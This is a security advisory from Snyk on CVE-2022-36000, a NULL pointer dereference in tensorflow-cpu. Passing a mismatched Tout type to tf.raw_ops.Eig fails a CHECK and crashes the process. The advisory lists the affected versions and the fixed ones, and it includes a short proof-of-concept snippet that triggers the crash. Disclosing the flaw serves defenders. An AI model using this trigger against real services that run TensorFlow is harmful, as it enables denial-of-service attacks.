NULL Pointer Dereference Affecting tensorflow-cpu package, versions [,2.7.2)[2.8.0,2.8.1)[2.9.0,2.9.1)


Severity

Recommended
0.0
medium
0
10

CVSS assessment made by Snyk's Security Team. Learn more

Threat Intelligence

EPSS
0.08% (37th percentile)

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  • Snyk IDSNYK-PYTHON-TENSORFLOWCPU-3026801
  • published18 Sept 2022
  • disclosed16 Sept 2022
  • credit刘力源

Introduced: 16 Sep 2022

CVE-2022-36000  (opens in a new tab)
CWE-476  (opens in a new tab)

How to fix?

Upgrade tensorflow-cpu to version 2.7.2, 2.8.1, 2.9.1 or higher.

Overview

tensorflow-cpu is a machine learning framework.

Affected versions of this package are vulnerable to NULL Pointer Dereference when Eig can be fed an incorrect Tout input, resulting in a CHECK fail that can trigger a denial of service attack.

PoC

import tensorflow as tf
import numpy as np 
arg_0=tf.constant(value=np.random.random(size=(2, 2)), shape=(2, 2), dtype=tf.float32)
arg_1=tf.complex128
arg_2=True
arg_3=''
tf.raw_ops.Eig(input=arg_0, Tout=arg_1, compute_v=arg_2, name=arg_3)

CVSS Scores

version 3.1